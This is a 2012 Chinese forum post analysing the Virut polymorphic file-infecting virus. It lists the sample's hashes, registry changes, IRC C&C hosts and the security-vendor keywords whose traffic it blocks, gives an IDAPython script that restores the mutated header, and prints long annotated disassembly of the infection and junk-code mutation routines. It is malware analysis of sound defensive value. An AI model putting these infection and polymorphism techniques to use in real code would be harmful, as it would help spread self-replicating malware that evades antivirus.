首页
社区
课程
招聘
[原创]一次virut分析之旅
发表于: 2012-5-24 23:49 21889

[原创]一次virut分析之旅

2012-5-24 23:49
21889

基本信息

  报告名称:Virut分析报告                                                   
  作者:yuansunxue                                                            
  报告更新日期:  2012 5 24                                         
  样本发现日期:  09年                                          
  样本类型:      virus                                             
  样本文件大小/被感染文件变化长度:22528 感染长度是变化的   
  样本文件MD5 校验值:2da42b41b25566ba6186751bc216e498                             
  样本文件SHA1 校验值:df2dc50d3d6d481cde483df26e61a2ed350759687eca0c5b4a9d53cc225e5722                           
  壳信息:no                                                        
  可能受到威胁的系统:32位
  相关漏洞:no                                                   
  已知检测名称:virut                                            

简介

这个不用介绍了

被感染系统及网络症状

文件系统变化
  .exe .scr

注册表变化

添加
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
键为: 文件路径  
值为: 文件路径:*:enabled:@shell32.dll,-1

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer 键为UpdateHost 值为端口和主机IP的二进制值 长度为6 加密的

网络症状

连接到IRC server ilo.brenz.pl ant.trenz.pl

详细分析/功能介绍

当病毒被运行后,会进行如下操作:

1.     注入恶意代码除了进程快照前4个的进程
       注入的恶意代码会:
       设置如下注册表键值 添加到防火墙白名单

                HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                键为: 文件路径  
                值为: 文件路径:*:enabled:@shell32.dll,-1
       连接irc server:

        ilo.brenz.pl
        ant.trenz.pl
       接收来自server的命令:
                下载文件执行
                更新server地址

2.     hook ZwCreateFile ZwOpenFile 感染其操作的.exe .scr文件

3.     hook ZwDeviceIoControlFile 屏蔽含有如下关键字的upd包

$eset
#avg
microsoft
windowsupdate
wilderssecurity
threatexpert
castlecops
spamhaus
cpsecure
arcabit
emsisoft
sunbelt
securecomputing
rising
prevx
pctools
norman
k7computing
ikarus
hauri
hacksoft
gdata
fortinet
ewido
clamav
comodo
quickheal
avira
avast
esafe
ahnlab
centralcommand
drweb
grisoft
nod32
f-prot
jotti
kaspersky
f-secure
computerassociates
networkassociates
etrust
panda
sophos
trendmicro
mcafee
norton
symantec
defender
rootkit
malware
spyware
virus

4.        hook ZwCreateProcess ZwCreateProcessEx向其创建的进程注入恶意代码

技术热点及总结

上面的行为都是老生常谈 对于virut基本上都差不多

virut的精华在于其多态变形的过程

主要在这里说一下virut的感染以及变形过程

文中的一些结构参考了徐大力的文章 virut分析
在此表示感谢

一、前期判断

主要在 hook ZwCreateFile ZwOpenFile的过程中  virut会获取其操作的文件进行感染
感染后缀为exe,scr的

文件开头是 WINC,WCUN,WC32,PSTO不感染

二、一些介绍

首先说下控制很多行为的dword

该样本的值为 0x1b0

命名为:control_flag

0x1  决定感染方式 为1 patch api调用 为0 直接修改入口
        patch api从入口开始搜索 e8 然后去call的目的地址判断吧是否是 ff25

        或者直接搜索 ff15 而且api是由kernel32导出的 这是因为感染后的程序要用到这个来获取其kernel32的基址
0x100 决定变形从哪个块开始 为0x100 表示从最后一个快开始 否则随机选取

0x2 决定了是否需要在入口代码节剩余空间加入解密添加的病毒代码 这里添加了解密代码就要在后面对添加的代码进行加密

0x4 如果入口节有足够的空间插入代码 插入的代码会对添加的病毒代码进行解密 则这里控制了解密的方式 是加还是减

0x20 决定是否要hook ZwDeviceIoControlFile  0x20 hook

0x40 决定了是否插入花指令 如果0x40  不插

0x80 决定是否恢复ssdt 为0x80恢复

0x10 决定是否在移动硬盘写入autorun.inf

我理解virut变形主要的思想为:
将有用的指令放到一片片花指令块中,然后用jmp将这些指令块连接在一起 指令的执行顺序是不会变的

virut 代码大致可以分为2部分 header和body
它的变种不少 但基本上只是 header变化body功能大致不变
header主要负责前期一些工作,比如获取kernel32基址 获取相关api 检测调试器
创建event或者Semaphore 解密body等

感染的过程中 header 多态变形 body通过存放在header中的随机key加密的
运行的时候会被header解密出来 对应的加密idapytho我会放到附件里

在感染前 virut 会自己把 变形后的header还原

还原时 virut依靠两个结构BLOCK_Info和RELOC_Info来操作的

BLOCK_Info   
org_NumberOfOpcode dw ?                   ; 变形前的opcode数目
org_offsetStart   dw ?                    ; 本块指令 变形前 在virut中的偏移
aft_offsetStart   dw ?                    ; 本快指令变形后 在virut中的偏移
art_NumberOfOpcode dw ?                   ; 变形后 本块指令中opcode数目
                                        ; 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
BLOCK_Info   ends

RELOC_Info    struc ; (sizeof=0x6)
o_offset        dw ?                    ; 跳转指令操作数 变形前在virut中的偏移
NexOffset       dw ?                    ; 跳转指令 下一条指令的偏移
TarOffset       dw ?                    ; 跳转指令目的地址的偏移
RELOC_Info    ends

同时对于这个样本来说对跳转还有特殊的操作:

比如:
对于jcc跳转的一个还原例子:

003A01D0  ^\75 F7           jnz     short 003A01C9

还原之后:
003A01D0  ^\0F85 F3FFFFFF   jnz     003A01C9
其他jcc的跳转也是一样的操作

对应的反汇编代码就不贴了 对应的idapython如下

#!/usr/bin/env python
#-*- coding:UTF:8-*-

def TO_BYTE(a):
    return a&0xff

def TO_WORD(a):
    return a&0xffff

def TO_DWORD(a):
    return a&0xffffffff

def test_bit(address, off):
    while off >= 0x20:
        off -= 0x20
        address += 4
    return (Dword(address) >> off) & 1

def dword_to_list(a):
    b = list()
    for i in range(4):
        b.append(chr(a&0xff))
        a >>= 8
    return b

def main(is_patch = 1, code_begin = 0x03902F5, changed_block = 0x403200,patch_addres = 0x390000):
    reloc_base = TO_DWORD(code_begin - 0x4F312F5)
    number_blocks = Byte(TO_DWORD(reloc_base + 0x4f31874))
    flag_codechange = Dword(TO_DWORD(reloc_base + 0x4f31de1))
    rva_body = Dword(TO_DWORD(reloc_base + 0x4f31ddd))
    #print "reloc_base is :%x\n,number_blocks is :%x \n,flay_codechange is :%x \n,rva_body is :%x \n" %(reloc_base,number_blocks,flag_codechange,rva_body)
    virut_old = list()

    count = 0
    number_blocks -= 1
    for i in range(number_blocks):
        start = Word(TO_DWORD(reloc_base + i * 8 + 0x4f31879))
        end = Word(TO_DWORD(reloc_base + i * 8 + 0x4f3187b))
        #print "start is :%x,end is %x" % (start,end)
        temp = changed_block + start
        if start > rva_body:
            start = TO_DWORD(start - 0x4898)
        end &= 0x7fff
        for j in range(end):
            if test_bit(TO_DWORD(reloc_base + 0x4f31c75), start) == 0:
                if flag_codechange != 0:
                    if (start >= flag_codechange)  and (start - flag_codechange) < 4:
                        virut_old.append(chr(Byte(TO_DWORD(reloc_base + 0x4f31de5 + start - flag_codechange))))
                        temp += 1
                        start += 1
                        continue
                virut_old.append(chr(Byte(TO_DWORD(temp))))
                #print "offset : %x movbs content is :%x" % (temp,Byte(TO_DWORD(temp)))
            temp += 1
            start += 1
    #修复跳转地址
    repair = TO_DWORD(reloc_base + 0x4f31de9)
    for i in range(0x28):
        m = Word(repair)
        n = Word(repair + 4)
        k = Word(repair + 2)
        n = TO_DWORD(n-k)
        virut_old[m:m+4] = dword_to_list(n)
        #print dword_to_list(n)
        if (k - m) == 4 and ord(virut_old[m-1]) != 0xe8 and ord(virut_old[m-1]) != 0xe9:
            if ord(virut_old[m-1]) == 0xeb:
                virut_old[m-1] = chr(0xe9)
            else:
                tmp = virut_old[m-2]
                virut_old[m-2] = chr(0xf)
                if ord(tmp) != 0x0f:
                    tmp = ord(tmp) + 0x10
                    print "offset is :%x,added tmp is :%x" % (m-1,tmp)
                    virut_old[m-1] = chr(TO_BYTE(tmp))
        repair += 6
        
    if is_patch:
        for i in virut_old:
            PatchByte(patch_addres, ord(i))
            patch_addres +=1
    f = open("virut_header.bin", "wb")
    f.write("".join(virut_old))
    f.close()
    print "finished"
if __name__ == "__main__":
    print "start to restore"
    main()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 6
支持
分享
最新回复 (15)
雪    币: 1024
活跃值: (240)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
2
三、感染过程
1)条件判断 是pe文件 不是dll 没有overlay subsystem!= 10 没有被感染

2)对header进行分块:

分块的过程是这样的   先随机产生每个BLOCK应该包含的指令数  然后通过反汇编引擎得到指令的长度 写到
BLOCK_info 在header中有些特殊的地址 比如字符串  以及解密body的随机KEY   当分块到它们时 不能
直接用长度反汇编引擎  因为它们不是指令  所以需要直接给定其长度

对该样本来说:
分块范围是从映射基址到映射基址+2d4,这里数据大小为2d4, 每块最大指令条数为28 最小为8 如果分块数大于7f 则增加最大指令条数进行重新分块

eg007:7FF93001
seg007:7FF93001                   loc_7FF93001:                           ; CODE XREF: infect+BAj
seg007:7FF93001 C6 85 28 40 F3 04+                mov     byte ptr ss:(@next_block+1 - 7B05F000h)[ebp], 21h ; '!' ;
seg007:7FF93008                   @start_fenkuai:                         ; CODE XREF: infect+197j
seg007:7FF93008 83 A5 E1 1D F3 04+                and     ss:(flag_code_change - 7B05F000h)[ebp], 0
seg007:7FF9300F C6 85 74 18 F3 04+                mov     ss:(block_counter - 7B05F000h)[ebp], 1 ; 初始值为1
seg007:7FF93016 8D B5 00 10 F3 04                 lea     esi, (bubianxing_virut_start - 7B05F000h)[ebp]
seg007:7FF9301C 8D BD 75 18 F3 04                 lea     edi, (block0.org_NumberOfOpcode - 7B05F000h)[ebp]
seg007:7FF93022 66 83 67 02 00                    and     [edi+BLOCK_Info.org_offsetStart], 0
seg007:7FF93027
seg007:7FF93027                   @next_block:                            ; CODE XREF: infect+18Cj
seg007:7FF93027                                                           ; DATA XREF: infect:loc_7FF93001w ...
seg007:7FF93027 6A 21                             push    21h ; '!'
seg007:7FF93029 58                                pop     eax
seg007:7FF9302A 66 83 27 00                       and     [edi+BLOCK_Info.org_NumberOfOpcode], 0
seg007:7FF9302E 66 C7 47 06 00 80                 mov     [edi+BLOCK_Info.aft_NumberOfOpcode], 8000h
seg007:7FF93034 E8 2A E6 FF FF                    call    random          ; 范围是0-0x20
seg007:7FF93039 8D 4A 08                          lea     ecx, [edx+8]    ; edx的值是随机产生的,ecx+8表示该块包含多少条指令
seg007:7FF9303C                   ecx 为下面循环的次数 即本块包含多少个指令
seg007:7FF9303C
seg007:7FF9303C                   @random_ins_num_of_block:               ; CODE XREF: infect+16Dj
seg007:7FF9303C 51                                push    ecx
seg007:7FF9303D 8D 85 04 12 F3 04                 lea     eax, (aJdcbc_1 - 7B05F000h)[ebp] ; "JdcBc" SemaphoreName
seg007:7FF93043 8D 8D 9B 11 F3 04                 lea     ecx, (word_7FF9019B - 7B05F000h)[ebp] ; 解密body的key
seg007:7FF93049 8D 95 CC 12 F3 04                 lea     edx, (locret_7FF902CC - 7B05F000h)[ebp]
seg007:7FF9304F 3B F0                             cmp     esi, eax
seg007:7FF93051 75 08                             jnz     short loc_7FF9305B
seg007:7FF93053 68 06 00 00 00                    push    6
seg007:7FF93058 59                                pop     ecx             ; 越过SemaphoreName
seg007:7FF93059 EB 37                             jmp     short @update_numofopcode_of_block_descri
seg007:7FF9305B                   ; ---------------------------------------------------------------------------
seg007:7FF9305B
seg007:7FF9305B                   loc_7FF9305B:                           ; CODE XREF: infect+11Cj
seg007:7FF9305B 3B F1                             cmp     esi, ecx
seg007:7FF9305D 75 05                             jnz     short loc_7FF93064
seg007:7FF9305F 6A 02                             push    2
seg007:7FF93061 59                                pop     ecx             ; 跳过一个7FF9019B处的word
seg007:7FF93062 EB 2E                             jmp     short @update_numofopcode_of_block_descri
seg007:7FF93064                   ; ---------------------------------------------------------------------------
seg007:7FF93064
seg007:7FF93064                   loc_7FF93064:                           ; CODE XREF: infect+128j
seg007:7FF93064 3B F2                             cmp     esi, edx
seg007:7FF93066 75 09                             jnz     short loc_7FF93071
seg007:7FF93068 6A 05                             push    5               ; 越过5 解密第一层的代码 可以和没有去花的相比较
seg007:7FF93068                                                           ; 3902cc  和 00407c83
seg007:7FF9306A C6 47 07 00                       mov     byte ptr [edi+7], 0
seg007:7FF9306E 59                                pop     ecx
seg007:7FF9306F EB 21                             jmp     short @update_numofopcode_of_block_descri
seg007:7FF93071                   ; ---------------------------------------------------------------------------
seg007:7FF93071
seg007:7FF93071                   loc_7FF93071:                           ; CODE XREF: infect+131j
seg007:7FF93071 8A 06                             mov     al, [esi]
seg007:7FF93073 3C E9                             cmp     al, 0E9h ; '?
seg007:7FF93075 74 0C                             jz      short @is_jmp_call_retn_retnf ; jmp call retn的标志
seg007:7FF93075                                                           ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF93077 3C EB                             cmp     al, 0EBh ; '?
seg007:7FF93079 74 08                             jz      short @is_jmp_call_retn_retnf ; jmp call retn的标志
seg007:7FF93079                                                           ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF9307B 3C C2                             cmp     al, 0C2h ; '?
seg007:7FF9307D 74 04                             jz      short @is_jmp_call_retn_retnf ; jmp call retn的标志
seg007:7FF9307D                                                           ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF9307F 3C C3                             cmp     al, 0C3h ; '?
seg007:7FF93081 75 06                             jnz     short @not_special_ins ; art_NumberOfOpcode 最高位为0 表示本分块末尾指令不是跳转
seg007:7FF93083
seg007:7FF93083                   @is_jmp_call_retn_retnf:                ; CODE XREF: infect+140j
seg007:7FF93083                                                           ; infect+144j ...
seg007:7FF93083 C6 47 07 80                       mov     byte ptr [edi+7], 80h ; '€' ; jmp call retn的标志
seg007:7FF93083                                                           ; art_NumberOfOpcode 最高位为1时代表 本块指令变形前是以跳转指令或者返回指令结尾
seg007:7FF93087 EB 04                             jmp     short @get_ins_length
seg007:7FF93089                   ; ---------------------------------------------------------------------------
seg007:7FF93089
seg007:7FF93089                   @not_special_ins:                       ; CODE XREF: infect+14Cj
seg007:7FF93089 C6 47 07 00                       mov     byte ptr [edi+7], 0 ; art_NumberOfOpcode 最高位为0 表示本分块末尾指令不是跳转
seg007:7FF9308D
seg007:7FF9308D                   @get_ins_length:                        ; CODE XREF: infect+152j
seg007:7FF9308D E8 96 14 00 00                    call    func_getinslength
seg007:7FF93092
seg007:7FF93092                   @update_numofopcode_of_block_descri:    ; CODE XREF: infect+124j
seg007:7FF93092                                                           ; infect+12Dj ...
seg007:7FF93092 66 01 0F                          add     [edi+BLOCK_Info.org_NumberOfOpcode], cx
seg007:7FF93095 8D 85 D4 12 F3 04                 lea     eax, (end_of_bianxing_virutcode - 7B05F000h)[ebp] ; eax 7ff902d4分块到这里结束
seg007:7FF9309B 03 F1                             add     esi, ecx        ; esi = 7ff90000 加上指令长度 esi指向下一条指令
seg007:7FF9309D 3B F0                             cmp     esi, eax
seg007:7FF9309F 59                                pop     ecx             ; ecx表示本块包含多少字节码
seg007:7FF930A0 73 2F                             jnb     short @fenkuai_over ; 最后一块的描述符
seg007:7FF930A2 E2 98                             loop    @random_ins_num_of_block ; ecx 随机产生的 表示本块包含多少指令
seg007:7FF930A4 FE 85 74 18 F3 04                 inc     ss:(block_counter - 7B05F000h)[ebp]
seg007:7FF930AA 80 BD 74 18 F3 04+                cmp     ss:(block_counter - 7B05F000h)[ebp], 7Fh ; ''
seg007:7FF930B1 77 13                             ja      short @inc_max_NumberOfOpcode
seg007:7FF930B3 66 8B 47 02                       mov     ax, [edi+BLOCK_Info.org_offsetStart] ; edi指向一个结构数组 结构大小为8
seg007:7FF930B3                                                           ; 且第一个数组的第二个成员被设置为0
seg007:7FF930B7 66 03 07                          add     ax, [edi+BLOCK_Info.org_NumberOfOpcode]
seg007:7FF930BA 83 C7 08                          add     edi, 8          ; 块描述符大小 8
seg007:7FF930BD 66 89 47 02                       mov     [edi+BLOCK_Info.org_offsetStart], ax
seg007:7FF930C1 E9 61 FF FF FF                    jmp     @next_block
seg007:7FF930C6                   ; ---------------------------------------------------------------------------
seg007:7FF930C6
seg007:7FF930C6                   @inc_max_NumberOfOpcode:                ; CODE XREF: infect+17Cj
seg007:7FF930C6 FE 85 28 40 F3 04                 inc     byte ptr ss:(@next_block+1 - 7B05F000h)[ebp]
seg007:7FF930CC E9 37 FF FF FF                    jmp     @start_fenkuai
seg007:7FF930D1                   ; ---------------------------------------------------------------------------
seg007:7FF930D1
seg007:7FF930D1                   @fenkuai_over:                          ; CODE XREF: infect+16Bj
seg007:7FF930D1 83 C7 08                          add     edi, 8          ; 最后一块的描述符
seg007:7FF930D4 66 C7 07 98 48                    mov     [edi+BLOCK_Info.org_NumberOfOpcode], 4898h
seg007:7FF930D9 66 C7 47 02 D4 02                 mov     [edi+BLOCK_Info.org_offsetStart], 2D4h
seg007:7FF930DF 66 C7 47 06 98 C8                 mov     [edi+BLOCK_Info.aft_NumberOfOpcode], 0C898h
seg007:7FF930E5 FE 85 74 18 F3 04                 inc     ss:(block_counter - 7B05F000h)[ebp]


3)感染方式

是修改入口还是patch api调用

patch api从入口开始搜索 e8 然后去call的目的地址判断吧是否是ff25

或者直接搜索 ff15 而且api是kernel32导出的

因为map的时候是直接map的 没有根据节表来map 所以这里访问map的地址的时候 需要修正一下。

代码就不贴了

4)变形 用花指令淹没真实指令

基本过程是 对于处理的第一个块 control_flag决定是处理最后一个快还是随机一个数  通过这个数 确定 先复制哪个BLOCK 剩下的块都是随机一个数  通过这个数 确定先复制哪个BLOCK
循环 直到复制完毕   复制的过程中通过随机数确定是否插入花指令   
复制完后如果 BLOCK 不是以跳转指令或者返回指令 就增加一个跳转指令 可以通过跳转指令连接在一起  变形前的BLOCK的执行顺序和变形后
的执行顺序是一样的

插花有一个结构体 其中flag控制插入什么样的花指令 这个flag跟变形前的指令偏移有关
这个flag的作用是决定可以插入什么样的花指令 原则是不影响真实指令的结果
chahua_struct_info
{
+0 word offset 相对于old_header(变形前头部)开始的offset
+2 word flag  控制插入什么花指令
}

seg007:7FF9330D                   @infect_by_change_oep:                  ; CODE XREF: infect+276j
seg007:7FF9330D                                                           ; infect+280j ...
seg007:7FF9330D 8B BD 9A 60 F3 04                 mov     edi, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93313
seg007:7FF93313                   loc_7FF93313:                           ; CODE XREF: infect+24Ej
seg007:7FF93313 0F B6 8D 74 18 F3+                movzx   ecx, ss:(block_counter - 7B05F000h)[ebp] ; block_counter = 9
seg007:7FF9331A F7 85 1A 3E F3 04+                test    ss:(control_flag - 7B05F000h)[ebp], 100h ; 决定了变形第一个块是随机选取的 还是最后一个块
seg007:7FF93324 74 05                             jz      short @next_block_bianxing ; block_num
seg007:7FF93326 8D 41 FF                          lea     eax, [ecx-1]    ; eax = 8 block_num - 1
seg007:7FF93329 EB 1A                             jmp     short @found_unhandled_block
seg007:7FF9332B                   ; ---------------------------------------------------------------------------
seg007:7FF9332B
seg007:7FF9332B                   @next_block_bianxing:                   ; CODE XREF: infect+3EFj
seg007:7FF9332B                                                           ; infect+696j
seg007:7FF9332B 8B C1                             mov     eax, ecx        ; block_num
seg007:7FF9332D E8 31 E3 FF FF                    call    random          ; 随机0~eax-1
seg007:7FF93332 33 C0                             xor     eax, eax        ; 随机0~block_num-1这里 开始乱序 排列指令块
seg007:7FF93334
seg007:7FF93334                   loc_7FF93334:                           ; CODE XREF: infect+40Ej
seg007:7FF93334 0F A3 85 8A 60 F3+                bt      ss:(flag_array_bian_xing_block - 7B05F000h)[ebp], eax
seg007:7FF9333B 72 04                             jb      short loc_7FF93341 ; 位串的偏移位置的bit为1时 表示该指令块已经被加花了 jb则跳
seg007:7FF9333D FE CA                             dec     dl              ; dl 为上面随机产生的值
seg007:7FF9333F 78 04                             js      short @found_unhandled_block
seg007:7FF93341
seg007:7FF93341                   loc_7FF93341:                           ; CODE XREF: infect+406j
seg007:7FF93341 FE C0                             inc     al
seg007:7FF93343 EB EF                             jmp     short loc_7FF93334 ; 下标从0开始 找到第dl个未处理的指令块
seg007:7FF93345
seg007:7FF93345                   @found_unhandled_block:                 ; CODE XREF: infect+3F4j
seg007:7FF93345                                                           ; infect+40Aj
seg007:7FF93345 83 A5 EA 61 F3 04+                and     ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp], 0 ; 如果插花 表示将要添加花指令的地址 否则为0
seg007:7FF9334C 8B D7                             mov     edx, edi        ; 处理完的指令块的结束地址
seg007:7FF9334E 0F AB 85 8A 60 F3+                bts     ss:(flag_array_bian_xing_block - 7B05F000h)[ebp], eax ; 置位flag_array_bian_xing_block对应的BIT  表示该指令块已被处理过
seg007:7FF9334E 04                                                        ; bts指令跟位偏移值从位串中取一位放入CF中,然后将位串的该位置1
seg007:7FF9334E                                                           ;
seg007:7FF9334E                                                           ; 将al对应的位组置1
seg007:7FF93355 2B 95 9A 60 F3 04                 sub     edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; 获取偏移
seg007:7FF9335B 51                                push    ecx             ; block_num 入栈
seg007:7FF9335C 66 89 94 C5 79 18+                mov     ss:(block0.aft_offsetStart - 7B05F000h)[ebp+eax*8], dx ; dx为offset
seg007:7FF9335C F3 04                                                     ;
seg007:7FF9335C                                                           ; dx为当前块相对于3a0600的offset
seg007:7FF93364 0F B7 B4 C5 77 18+                movzx   esi, ss:(block0.org_offsetStart - 7B05F000h)[ebp+eax*8] ; 取变形前的offset
seg007:7FF9336C 0F B7 8C C5 75 18+                movzx   ecx, word ptr ss:(block0.org_NumberOfOpcode - 7B05F000h)[ebp+eax*8] ; 取块大小
seg007:7FF93374 81 FE D4 02 00 00                 cmp     esi, 2D4h       ; 判断是否是最后一块 最后一块是用来描述body的
seg007:7FF93374                                                           ;
seg007:7FF93374                                                           ; 2d4是变形前HEADER的大小
seg007:7FF9337A 8D B4 35 00 10 F3+                lea     esi, (bubianxing_virut_start - 7B05F000h)[ebp+esi] ; esi = 7ff90000 + o_NumberOfOpcode_before
seg007:7FF9337A 04                                                        ; 本块在virut变形前的起始地址
seg007:7FF93381 75 1B                             jnz     short @jixu_bianxing_next_ins_of_current_block ; ecx = 当前块的还有多少个opcode要处理
seg007:7FF93383 C1 E9 02                          shr     ecx, 2          ; 最后一块的描述结构为
seg007:7FF93383                                                           ; 7FF908B5  98 48 D4 02 00 00 98 C8  楬?..樔
seg007:7FF93383                                                           ; ecx = 4898
seg007:7FF93386 89 95 DD 1D F3 04                 mov     ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp], edx
seg007:7FF9338C F3 A5                             rep movsd               ; 复制body到宿主中去
seg007:7FF9338C                                                           ; 7ff902d4 -> 3a0600 size 4898
seg007:7FF9338C                                                           ; edi = 映射基址+感染节的pointertorawdata+感染节的sizeofrawdata
seg007:7FF9338C                                                           ;
seg007:7FF9338C                                                           ;
seg007:7FF9338E 83 67 FC 00                       and     dword ptr [edi-4], 0 ; edi = 3a4e98 之前的值是
seg007:7FF9338E                                                           ; ds:[003A4E94]=7C812B8D (kernel32.CreateSemaphoreA)
seg007:7FF9338E                                                           ;
seg007:7FF93392 83 A7 9D C6 FF FF+                and     dword ptr [edi-3963h], 0 ; 3a1535 原先的值是closehandle的地址
seg007:7FF93399 E9 13 02 00 00                    jmp     @finished_this_block_bianxing ; ecx = block_num = 9
seg007:7FF9339E                   ; ---------------------------------------------------------------------------
seg007:7FF9339E
seg007:7FF9339E                   @jixu_bianxing_next_ins_of_current_block:
seg007:7FF9339E                                                           ; CODE XREF: infect+44Cj
seg007:7FF9339E                                                           ; infect+677j
seg007:7FF9339E 85 C9                             test    ecx, ecx        ; ecx = 当前块的还有多少个opcode要处理
seg007:7FF933A0 0F 84 0B 02 00 00                 jz      @finished_this_block_bianxing ; 指令块处理完则跳
seg007:7FF933A6 51                                push    ecx             ; 还需要处理的opcode数目
seg007:7FF933A6                                                           ; block.o_NumberOfOpcode_before
seg007:7FF933A7 50                                push    eax             ; 指令块结构数组的 下标
seg007:7FF933A7                                                           ; eax = 前面产生的随机值 也是快的序号
seg007:7FF933A8 B0 08                             mov     al, 8
seg007:7FF933AA E8 B4 E2 FF FF                    call    random          ; 随机生成0-7
seg007:7FF933AF F7 85 1A 3E F3 04+                test    ss:(control_flag - 7B05F000h)[ebp], 40h
seg007:7FF933B9 74 04                             jz      short loc_7FF933BF ; 如果标志含40 则不变形
seg007:7FF933BB B1 14                             mov     cl, 14h         ; 没有跳则cl设置的更大 大于上面随机的最大值 不可能产生花指令
seg007:7FF933BD EB 02                             jmp     short loc_7FF933C1 ; 随机产生的数大于等于cl则跳过去 对指令进行变形
seg007:7FF933BF                   ; ---------------------------------------------------------------------------
seg007:7FF933BF
seg007:7FF933BF                   loc_7FF933BF:                           ; CODE XREF: infect+484j
seg007:7FF933BF B1 05                             mov     cl, 5
seg007:7FF933C1
seg007:7FF933C1                   loc_7FF933C1:                           ; CODE XREF: infect+488j
seg007:7FF933C1 3A D1                             cmp     dl, cl          ; 随机产生的数大于等于cl则跳过去 对指令进行变形
seg007:7FF933C3 0F 83 5F 01 00 00                 jnb     @chahua         ;
seg007:7FF933C3                                                           ; edi指向的要添加花指令的地址
seg007:7FF933C9                   随机数小于5 则清零 以前存放的是拷贝的结束地址
seg007:7FF933C9
seg007:7FF933C9                   @buchahua:                              ; 如果插花 表示将要添加花指令的地址 否则为0
seg007:7FF933C9 83 A5 EA 61 F3 04+                and     ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp], 0
seg007:7FF933D0 8B C6                             mov     eax, esi        ; esi = 7ff90000+org_offsetStart
seg007:7FF933D0                                                           ; 每循环一次 esi则指向该块的下一条指令
seg007:7FF933D2 2B C5                             sub     eax, ebp        ; ebp = 7B05F000 重定位的偏移
seg007:7FF933D4 3D 04 12 F3 04                    cmp     eax, 4F31204h   ; 3个特殊点
seg007:7FF933D9 75 0B                             jnz     short @not_zifuchuan ; 7ff90204 SemaphoreName
seg007:7FF933D9                                                           ;
seg007:7FF933DB 68 06 00 00 00                    push    6               ; 略过SemaphoreName
seg007:7FF933E0 59                                pop     ecx
seg007:7FF933E1 E9 31 01 00 00                    jmp     loc_7FF93517
seg007:7FF933E6                   ; ---------------------------------------------------------------------------
seg007:7FF933E6
seg007:7FF933E6                   @not_zifuchuan:                         ; CODE XREF: infect+4A4j
seg007:7FF933E6 3D 9B 11 F3 04                    cmp     eax, 4F3119Bh   ; 7ff9019b
seg007:7FF933EB 75 08                             jnz     short loc_7FF933F5
seg007:7FF933ED 6A 02                             push    2               ; 越过解密body的密钥word
seg007:7FF933EF 59                                pop     ecx
seg007:7FF933F0 E9 22 01 00 00                    jmp     loc_7FF93517
seg007:7FF933F5                   ; ---------------------------------------------------------------------------
seg007:7FF933F5
seg007:7FF933F5                   loc_7FF933F5:                           ; CODE XREF: infect+4B6j
seg007:7FF933F5 3D CC 12 F3 04                    cmp     eax, 4F312CCh   ; 7ff902cc
seg007:7FF933FA 75 08                             jnz     short loc_7FF93404 ; 是否找到导入kernel的函数
seg007:7FF933FC 6A 05                             push    5               ; 越过5个byte 不知道什么东西
seg007:7FF933FE 59                                pop     ecx
seg007:7FF933FF E9 13 01 00 00                    jmp     loc_7FF93517
seg007:7FF93404                   ; ---------------------------------------------------------------------------
seg007:7FF93404
seg007:7FF93404                   loc_7FF93404:                           ; CODE XREF: infect+4C5j
seg007:7FF93404 80 BD CC 60 F3 04+                cmp     ss:(found_api_import - 7B05F000h)[ebp], 0FFh ; 是否找到导入kernel的函数
seg007:7FF9340B 74 78                             jz      short @no_found ; 跳了
seg007:7FF9340D 3D EC 10 F3 04                    cmp     eax, 4F310ECh   ; 7ff900ec
seg007:7FF93412 72 71                             jb      short @no_found
seg007:7FF93414 3D F0 10 F3 04                    cmp     eax, 4F310F0h   ; 7FF900F0
seg007:7FF93419 73 6A                             jnb     short @no_found
seg007:7FF9341B 8B D7                             mov     edx, edi        ; edx = edi 当前要插入指令的地址 当当前处理点来到 7fff900ec
seg007:7FF9341D 68 04 00 00 00                    push    4
seg007:7FF93422 8D BD E5 1D F3 04                 lea     edi, (code_change - 7B05F000h)[ebp] ; 要替换回来的指令 RVA   virut感染后
seg007:7FF93422                                                           ; 此处的代码会变  感染前是Fpush    [esp+20h+arg_2C] 4字节
seg007:7FF93422                                                           ; 感染后是push    dword ptr [402058]
seg007:7FF93422                                                           ; 变为6字节
seg007:7FF93428 59                                pop     ecx             ; ecx = 4
seg007:7FF93429 8A 06                             mov     al, [esi]       ; al = byte(7ff900ec)
seg007:7FF9342B F3 A4                             rep movsb               ; 7ff900ec -> 7ff90de5 4byte
seg007:7FF9342D 8B FA                             mov     edi, edx
seg007:7FF9342F AA                                stosb                   ; 写入7ff900ec的第一个操作码 到edi
seg007:7FF93430 B0 35                             mov     al, 35h ; '5'
seg007:7FF93432 2B 95 9A 60 F3 04                 sub     edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93438 AA                                stosb                   ; 写入35 到edi
seg007:7FF93439 68 04 00 00 00                    push    4
seg007:7FF9343E 8B 85 BE 60 F3 04                 mov     eax, ss:(found_api_address - 7B05F000h)[ebp]
seg007:7FF93444 3B 95 DD 1D F3 04                 cmp     edx, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp]
seg007:7FF9344A 76 06                             jbe     short loc_7FF93452
seg007:7FF9344C 81 EA 98 48 00 00                 sub     edx, 4898h
seg007:7FF93452
seg007:7FF93452                   loc_7FF93452:                           ; CODE XREF: infect+515j
seg007:7FF93452 59                                pop     ecx
seg007:7FF93453 AB                                stosd                   ; 写入patch iat的dword 为了其感染后的代码能够获取kernel32的空间
seg007:7FF93453                                                           ; 修改为
seg007:7FF93453                                                           ;
seg007:7FF93453                                                           ; 003A518E    FF35 58204000   push    dword ptr [402058]
